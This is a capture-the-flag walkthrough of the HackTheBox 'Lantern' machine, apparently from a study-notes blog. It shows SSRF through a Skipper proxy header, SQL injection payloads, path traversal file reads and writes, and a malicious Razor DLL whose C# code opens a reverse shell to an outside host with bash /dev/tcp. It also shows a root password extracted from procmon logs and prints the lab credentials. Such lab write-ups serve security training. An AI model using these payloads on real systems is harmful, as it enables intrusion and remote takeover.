Introduction

This post provides a comprehensive walkthrough of the HTB Lantern machine , detailing the steps taken to achieve full system access. It includes initial foothold strategies, privilege escalation techniques, and insights into the tools and methodologies employed during the process.

OSCP Study Notes

HackTheBox Certified Penetration Testing Specialist Study Notes

HackTheBox Lantern Machine Walkthrough

Here’s a breakdown of the exploitation plan:

  1. Initial Setup:
    • Start with two websites:
      • A Flask site served via Skipper Proxy.
      • A Blazor site running on .NET on Linux.
  2. SSRF Exploitation:
    • Leverage an SSRF vulnerability in Skipper Proxy to access the internal Blazor admin site.
  3. Admin Password Retrieval:
    • Gain access to the admin credentials through:
      • Exploiting SQL injection on the admin site.
      • Reverse-engineering a DLL file to extract the password.
  4. Gaining Code Execution:
    • Log in to the admin page.
    • Use file write capabilities to upload a malicious Razor DLL component.
    • Trigger the malicious component to obtain a reverse shell.
  5. Privilege Escalation to Root:
    • Access the ProcMon SQLite database.
    • Inspect logged events to locate a root password.

Initial Foothold

We begin by conducting an Nmap scan, revealing open ports 22 (SSH), 80 (HTTP), and 3000.

nmap -Pn -p- -sC -sV -oN output.txt 10.129.177.163

Notably, the HTTP service redirects to http://lantern.htb/, indicating the need to add this domain to the /etc/hosts file for proper resolution.

echo -e '10.129.177.163\t\tlantern.htb' | sudo tee -a /etc/hosts

Focusing on web application analysis over SSH for initial access is an approach that we will take initially, especially given the server’s use of WebAssembly and Blazor technologies. Naviage to lantern.htb/login and you will see this login page:

If you right click and click on inspect element, you will see a link pointing to lantern.htb/_blazor which suggests and confirms that the server is Microsoft Blazor Server running on WebAssembly.

This can also be confirmed if you visit lantern.htb/_framework/blazor_server.js. This page can be simply discovered if you run site spider using BurpSuite.

Additionally, if you send any http request to examine the server headers, you could see clearly that the endpoint appears to only support OPTIONS and POST requests, and the site seems to be utilizing a reverse proxy known as Skipper Proxy.

What is Microsoft Blazor?

Microsoft Blazor is a free, open-source framework developed by Microsoft for building interactive web applications using C# instead of JavaScript. Part of the ASP.NET Core ecosystem, Blazor enables developers to create modern, dynamic web user interfaces while leveraging their existing knowledge of .NET and C#.

What is Skipper Proxy?

Skipper Proxy is an open-source HTTP reverse proxy and load balancer primarily designed for managing large-scale web applications and microservices. Developed by Zalando, it is highly flexible and customizable, making it well-suited for modern cloud-native applications.

How Skipper Works:

  • Request Handling:
    • Incoming HTTP requests pass through the Skipper proxy.
    • Skipper uses its routing table to decide how to handle the request (e.g., forward it to a backend service, modify it, or apply filters).
  • Route Matching:
    • Routes can be based on URL paths, query parameters, headers, or other request attributes.
  • Filters:
    • Custom filters modify requests or responses, enabling functionality like CORS headers, compression, or authentication.

Key Takeaways

You could also test the file submission and login forms but it won’t yield anything useful. Also we don’t have any valid usernames or passwords, and we haven’t identified a way to exploit the upload form, as there’s no clear indication of how the file is being processed on the backend.

On the other hand, we’ve gathered substantial information about the target’s tech stack. This would be a good time to investigate any potential CVEs that might be applicable.

We can then gain access to source files and the main admin panel, where certain bugs are exploited to achieve code execution.

Skipper Proxy CVE

X-Skipper-Proxy 0.13.237 CVE is a vulnerability related to how the Skipper Proxy handles requests and forwards them to backend services. SSRF is a type of vulnerability that allows an attacker to manipulate the proxy or server to make unintended HTTP requests to internal or external systems.

Understanding the Vulnerability:

  1. X-Skipper-Proxy Header:
    • This header is often added by Skipper Proxy during the forwarding process to indicate that the request passed through the proxy.
    • If improperly configured, the proxy might process untrusted or malicious inputs, making it susceptible to SSRF attacks.
  2. SSRF in Skipper Proxy:
    • SSRF vulnerabilities typically occur when:
      • The proxy does not validate or sanitize incoming URLs.
      • It blindly forwards requests to internal systems or services.
    • Attackers could exploit this by crafting malicious URLs to access sensitive internal resources or perform unauthorized actions.
  3. Impact:
    • Unauthorized access to internal services (e.g., databases, APIs).
    • Data exfiltration or exposure of sensitive information.
    • Triggering actions on internal systems that should be restricted.

Skipper Proxy CVE Exploitation:

An attacker might craft a general request like this:

GET http://example.com/vulnerable-endpoint?target=http://internal-system/admin HTTP/1.1
Host: example.com

If the Skipper Proxy forwards the target parameter’s value without validation, the attacker could reach internal systems.

In our machine, we could mimick such request using curl:

curl -si -H 'X-Skipper-Proxy: http://127.0.0.1:3000' 'http://lantern.htb'

The above command should return a compelte response from the page running at http://127.0.0.1:3000 which confirms that the target is vulnerable to SSRF.

Leveraging SSRF to Conduct Port Scanning

You can use ffuf to send port scan probes using the below command:

ffuf -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -w <(seq 0 65535) -ac

And the output is:

22                      [Status: 500, Size: 22, Words: 3, Lines: 2, Duration: 127ms]
80 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 101ms]
3000 [Status: 200, Size: 2852, Words: 334, Lines: 58, Duration: 101ms]
5000 [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 91ms]
8000 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 98ms]

We discovered the following ports:

  • Previously known ports:
    • 22: Likely SSH.
    • 80: A web page.
    • 3000: A Blazor-based admin page.
  • Newly identified ports:
    • 5000: Hosts a different Blazor page.
      • Similar to port 3000 but loads blazor.webassembly.js instead of blazor.server.js.
      • The page title is “InternaLantern”, unlike the admin page on port 3000, which has no title.
    • 8000: Mirrors the content of port 80.

The page on port 5000 could represent an additional internal system or functionality within Lantern, distinct from the admin page, suggesting potential further avenues for exploration.

Enumerating the pages on port 5000 and 8000

To load pages via the SSRF, you can utilize the Header Editor plugin in Firefox to modify requests seamlessly. Here’s how you can set it up:

Steps to Implement the SSRF with Header Editor:
  1. Install the Plugin:
    • Search for and install the Header Editor plugin from the Firefox Add-ons store.
  2. Configure the Header:
    • Open the Header Editor settings.
    • Create a new rule to add the required header to your requests:
      • Header Name: Specify the header key (e.g., X-Target-Host or whatever is needed for the SSRF). In our case, it’s x-skipper-proxy
      • Header Value: Set the value corresponding to the internal site you wish to target. In our case, it’s , http://127.0.0.1:5000
  3. Enable Conditional Application:
    • Configure the plugin to add this header only when enabled. This allows you to toggle the header on and off for targeted requests.

4. Test Your Setup:

  • Enable the plugin and make a request to the public site. In our case it’s http://lantern.htb

    Exploiting SQL Injection

    The “Add Employee” form is likely sanitizing inputs correctly, as it properly handles single and double quotes without breaking. However, the “Search in Vacation” form may be vulnerable due to the error it throws.

    Steps to Investigate the Vacation Form:

    1. Analyze the Error and Test for SQL Injection

    Use any employee ID from the previous section and plug it in the book vacation form. For example you can use PPAOS which happens to be the ID of Anny in the employee information page. Now re-fill the form but with the same ID and an single apostrophe such as:

     PPAOS'

    The application now throws an error suggesting an SQL Injection vulnerability.

    You could then try the below union payloads to guess the number of columns:

    ' union select 1-- -
    ' union select 1,2-- -
    ' union select 1,2,3-- -

    The error revealing that the application is running SQLite version 3.37.2 combined with the fact that the database operates within a virtualized SQLite instance in the browser introduces some unique considerations:

    An interesting feature of SQLite is that it keeps the schema for each table in the sqlite_schema table’s sql column. Using count, we can confirm there are two tables.

    1, count(sql),3 from sqlite_schema-- -

    You can then use group_concat

    select 1, group_concat(sql),3 from sqlite

    Next we aim for the tables

    ' union select 1,group_concat(id),3

    Examining the InternalInfo column reveals credentials for a system administrator.

    ' union select 1,group_concat(internalinfo),3

    The username “admin” and the password “AJbFA_Q@925p9ap#22” are used to log into the site on port 3000.

    The Admin Page

    The admin dashboard consists of several components.

    On the left, there are links to “Files,” “Upload Content,” “Health Check,” “Logs,” and “Uploaded Resumes.” Additionally, there’s a “Choose Module” section, while the right side displays some static, non-functional charts.

    The search bar in the center provides suggestions as you start typing. Choosing an option and clicking “Search” will navigate to one of the same five modules available via the links on the left.

    If you enter a query that doesn’t match any of the five modules, an error message appears.

    Each of them needs to be a .dll file located in the /opt/components directory.

    When attempting directory traversal, the system generates a different response, indicating that the module must strictly reside in /opt/components.

    The file component displays a file tree located in /var/www/sites/lantern.htb. Selecting a file from the tree reveals its contents in a box on the right.

    As suspected earlier, the main site is a Flask application. Upon reviewing the app.py source code, we noticed the three routes mentioned previously, along with an additional one. This route implements an insecure file fetch mechanism, which we should be able to exploit to read arbitrary files from the main site.

    The FilUpload Fuctionality

    This provides a straightforward interface for uploading images. When we choose a test file, it uploads successfully and appears in the Files tab.

    However, if ew attempt to upload another file with the same name, the upload fails, displaying a message that the file already exists. It seems the system can create files but does not allow overwriting them.

    First Shell

    DLL Reverse Engineering with Directory Traversal

    We can already upload files to the images directory using the File Upload feature, as well as to an uploads directory specifically for resumes on the main site.

    However, we want the capability to upload files outside of these directories. The source code for the resume upload feature doesn’t provide any useful target points, so we’ll need to examine how the FileUpload module operates.

    We plan to exploit the file read vulnerability on the main site to access the binary, which is a 32-bit .NET assembly.

    motasem@kali$ wget 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../opt/components/FileUpload.dll' -O FileUpload.dll

    FileUpload.dll 100%[=====================================>] 11.50K --.-KB/s in 0s

    (53.1 MB/s) - ‘FileUpload.dll’ saved [11776/11776]

    motasem@kali$ file FileUpload.dll
    FileUpload.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

    We’ll analyze the binary using DotPeek. It contains a single namespace, FileUpload, with two classes: Component and _Imports.

    The file upload process is managed here.

      private async 
    #nullable enable
    Task LoadFiles(InputFileChangeEventArgs e)
    {
    this.isLoading = true;
    this.loadedFiles.Clear();
    foreach (IBrowserFile file in (IEnumerable<IBrowserFile>) e.GetMultipleFiles(this.maxAllowedFiles))
    {
    try
    {
    this.loadedFiles.Add(file);
    string FileName = file.Name.Replace("\\", "");
    string path = Path.Combine("/var/www/sites/lantern.htb/static/images", FileName);
    if (!this.isFileExist(FileName))
    {
    await using (FileStream fs = new FileStream(path, FileMode.Create))
    {
    await file.OpenReadStream(this.maxFileSize).CopyToAsync((Stream) fs);
    this.UIMessage = "Success!";
    this.UIMessageType = "alert-success";
    }
    }
    else
    {
    this.UIMessage = "An error occurred: File already exist";
    this.UIMessageType = "alert-danger";
    }
    FileName = (string) null;
    path = (string) null;
    }
    catch (Exception ex)
    {
    this.UIMessage = "An error occurred: " + ex.Message;
    this.UIMessageType = "alert-danger";
    }
    this.ShowError();
    }
    this.isLoading = false;
    }

    While the implementation removes backslashes, it doesn’t perform any additional input sanitization. This indicates that if we can pass a directory traversal payload to this function, it could potentially write files to arbitrary locations.

    When uploading a file, the messages sent are in the binary format . There’s a useful Burp extension called Blazor Traffic Processor (BTP) that can convert this format to JSON. It can be installed via the Burp BApp Store (found under Extensions → BApp Store). Once installed, we can decode these messages by pasting them into the extension.

    When a file is selected in the app, the first outgoing message can be pasted into BTP and deserialized into JSON.

    À·BeginInvokeDotNetFromJS¡2À¬NotifyChangeÙi[[{"id":1,"lastModified":"2024-12-01T19:33:58.244Z","name":"test","size":15,"contentType":"","blob":{}}]]

    This message specifies the file name.

    [{
    "Target": "BeginInvokeDotNetFromJS",
    "Headers": 0,
    "Arguments": [
    "2",
    "null",
    "NotifyChange",
    2,
    [[{
    "blob": {},
    "size": 15,
    "name": "test",
    "id": 1,
    "lastModified": "2024-08-21T19:33:58.244Z",
    "contentType": ""
    }]]
    ],
    "MessageType": 1
    }]

    On each subsequent upload, the first number in the arguments and the id field both increment. The first number is always one more than the id. Recognizing this pattern enables me to craft a custom payload.

    Later messages include the plaintext content of the uploaded file. However, BTP crashes if the payload contains a newline character.

    To test for directory traversal, we’ll attempt to write to /opt/components. This process is simpler if Blazor is operating in polling HTTP mode instead of WebSockets, as we can enable intercept mode in Burp for better control.

    Once a file is uploaded, Burp captures the traffic. we can then grab a payload with the appropriate arguments, id, and an updated name containing a traversal string.

    Switching BTP to serialize mode allows us to modify the payload in the Intercept window.

    After making changes, we forward the modified request and disable intercept mode to let the remaining requests process normally. The system reports success, and verifying the uploaded file on the site confirms the process worked.

    motasem@kali$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../opt/components/test.txt'

    test is successful

    Nest we’ll launch Visual Studio and start a new project using the “Razor Class Library” template. If that option isn’t visible, there’s a link at the bottom to open the installer and add necessary “Workloads.”

    We’ll need to include the “ASP.NET and web development” workload.

    After naming the project and setting its path, we’ll proceed to the next step where we need to select a .NET version. Although we are unsure at this point, we’ll need to use .NET 6.0.

    The generated project includes a few files by default, such as Component1.razor with some HTML.

    We’ll then switch to the Release configuration and build the project. Before adding any code, our goal is to verify if it compiles successfully. If it does, we’ll know the setup works.

    Alternatively, the same setup can be done on Linux using the commands dotnet new razorclasslib -o LanternExploit -f net6.0 followed by dotnet build LanternExploit --configuration Release.

    Next, we’ll upload the project to Lantern and search for the module. While it does locate the module, there’s an error. If we weren’t already using .NET 6, this would make it obvious that the correct version is required. Additionally, there’s an issue about it not finding the Component.

    Next we’ll open the POC DLL in DotPeek to examine it. Inside, there’s a LanternExploit namespace containing a Component1 class. This class overrides the BuildRenderTree function, incorporating the HTML from the .razor file.

    namespace LanternExploit
    {
    ...[snip]...
    public partial class Component1 : global::Microsoft.AspNetCore.Components.ComponentBase
    #nullable disable
    {
    #pragma warning disable 1998
    protected override void BuildRenderTree(global::Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder __builder)
    {
    __builder.AddMarkupContent(0, "<div class=\"my-component\" b-ls9lqve1mb>\r\n This component is defined in the <strong b-ls9lqve1mb>LanternExploit</strong> library.\r\n</div>");
    }
    #pragma warning restore 1998
    }
    }
    #pragma warning restore 1591

    The class name appears to be derived from the name of the .razor file. In Visual Studio’s Solution Explorer, we’ll rename Component1.razor to Component.razor, which automatically updates the corresponding CSS file as well.

    After rebuilding and reloading the DLL in DotPeek, the structure looks more organized. However, there’s a cron job running periodically that clears the Admin page and removes any loaded DLLs.

    We’ll either wait for that cron job to finish or modify the DLL name (which would require renaming the entire project). Once the cron is handled, we can re-upload the DLL and perform a “Search,” which successfully loads the content.

    Next, we’ll add code to Component.razor to execute server commands when the DLL is loaded. To do this, we plan to override the OnInitialized function, as it seems an appropriate point to execute the commands.

    @using System.Diagnostics;
    <div class="my-component">
    Exploited Successfully.
    </div>

    @code
    {
    protected override void OnInitialized()
    {
    try {
    Process p = new Process();
    p.StartInfo.FileName = "/bin/bash";
    p.StartInfo.Arguments = "-c \"/bin/bash -i >& /dev/tcp/10.10.14.6/443 0>&1 \"";
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.UseShellExecute = false;
    p.Start();
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Error: {ex.Message}");
    }
    }
    }

    After making the changes, we’ll compile the DLL and upload it to Lantern. Upon loading, the HTML content is successfully injected and you get a shell.

    motasem@kali$ nc -lnvp 443
    Listening on 0.0.0.0 4545
    Connection received on 10.10.12.4 47494
    bash: cannot set terminal process group (63574): Inappropriate ioctl for device
    bash: no job control in this shell
    tomas@lantern:~/LanternAdmin$

    Privielge Escalation


    Tomas is the sole user with a home directory located in /home and the only non-root user with an assigned shell.

    tomas@lantern:/home$ cat /etc/passwd | grep 'sh$'
    root:x:0:0:root:/root:/bin/bash
    tomas:x:1000:1000:tomas:/home/tomas:/bin/bash

    The admin web application, LanternAdmin, is available, but it doesn’t contain anything helpful for privilege escalation. However, Tomas has the ability to execute procmon with root privileges.

    tomas@lantern:~$ sudo -l
    Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

    User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon

    We’ll launch procmon and attach it to the relevant nano process using sudo procmon -p $(pidof nano). This command starts a text-based user interface (TUI) that displays the system calls being made by the process.

    Among these, write system calls are particularly noteworthy. To focus on these calls, We’ll exit with Ctrl-C and restart procmon with the -e write option (adjusting the view to remove unnecessary columns).

    This setup provides the return value of each write call, which represents the number of bytes written. Additionally, it reveals the file descriptor used—commonly 1 for stdout.

    Although the display isn’t very clear on Lantern, the GitHub page for procmon shows the functionality of the F keys more distinctly. After observing for a few minutes, We’ll press F6 to export the data to a file and then F9 to exit.

    Next we’ll use scp to transfer the database file to the attacker machine for analysis. It’s an SQLite database with three tables.

    motasem@kali$ file procmon_2024-08-22_17\:02\:49.db 

    procmon_2024-12-01_13:33:43.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 16, database pages 172, cookie 0x10, schema 4, UTF-8, version-valid-for 16

    The metadata and stats tables provide collection-related information, while the ebpf table contains the actual data.

    motasem@kali$ sqlite3 procmon_2024-08-22_17\:02\:49.db
    SQLite version 3.37.2 2024-12-01_13:33:43
    Enter ".help" for usage hints.
    sqlite> .tables
    ebpf metadata stats

    sqlite> .schema metadata
    CREATE TABLE metadata (startTime INT, startEpocTime TEXT);
    sqlite> .schema stats
    CREATE TABLE stats (syscall TEXT, count INTEGER, duration INTEGER);

    The ebpf table has many rows, and we are specifically interested in the resultcode and arguments fields. However, the arguments field doesn’t display directly because it contains binary data. Converting it to hexadecimal format resolves this.

    sqlite> select resultcode, hex(arguments) from ebpf limit 10;
    resultcode|hex(arguments)
    5|04000000000000007B224944223A22313732343334363137302E39310004030000000000003B3C49FFC35500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    6|04000000000000007B224944223A22313732343334363137302E39310004030000000000003B3C49FFC35500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    0|04000000000000007B224944223A22313732343334363137302E39310004030000000000003B3C49FFC35500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    6|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    6|01000000000000001B5B3F3235681B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

    Understanding the arguments field is a bit tricky. For example, the arguments to the write function are as follows: ssize_t write(int fd, const void *buf, size_t count);.

    The first parameter, an integer (fd), spans eight bytes and is mostly 1. Interestingly, it deviates from 1 only at the beginning of the file, which we’ll ignore for now.

    Next is the buffer. The buffer’s length consistently exceeds the number of bytes actually written, according to the return value. Although we didn’t fully resolve this discrepancy, we got close enough to proceed.

    We plan to write a Python script to extract and analyze the data. The script will retrieve all rows, loop through them, and if write indicates any bytes were written, it will fetch and display the corresponding number of bytes from arguments.

    import re
    import sqlite3

    # Establish a connection to the SQLite database
    # Uncomment the desired database connection
    # conn = sqlite3.connect('procmon_2024-08-22_18:00:01.db')
    conn = sqlite3.connect('procmon_2024-08-22_17:02:49.db')
    cursor = conn.cursor()

    # Fetch all rows from the 'ebpf' table
    cursor.execute("SELECT * FROM ebpf;")
    rows = cursor.fetchall()

    # Initialize time tracking variable
    previous_time = 0

    # Process each row in the result
    for row in rows:
    result = int(row[4]) # Convert the result field to an integer
    current_time = row[5] # Extract the time field

    # Skip rows with the same timestamp as the previous row
    if current_time == previous_time:
    continue

    previous_time = current_time # Update the time tracker
    arguments = row[-1] # Extract the arguments field

    # Skip rows where result indicates no data
    if result == 0:
    continue

    # Extract and decode the buffer
    buffer_content = arguments[8:8 + result]
    print(buffer_content.decode().replace('\r', '\n'), end='')

    This approach reveals that the data being written includes a password piped into sudo.

    motasem@kali$ python extract_text.py 
    {"ID" ./backup.sh
    e
    ech
    echo Q3Eddtdw3pMB | sudo ./backup.sh

    And the root password is Q3Eddtdw3pMB

    You can also watch:

    About the Author

    Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

    View Articles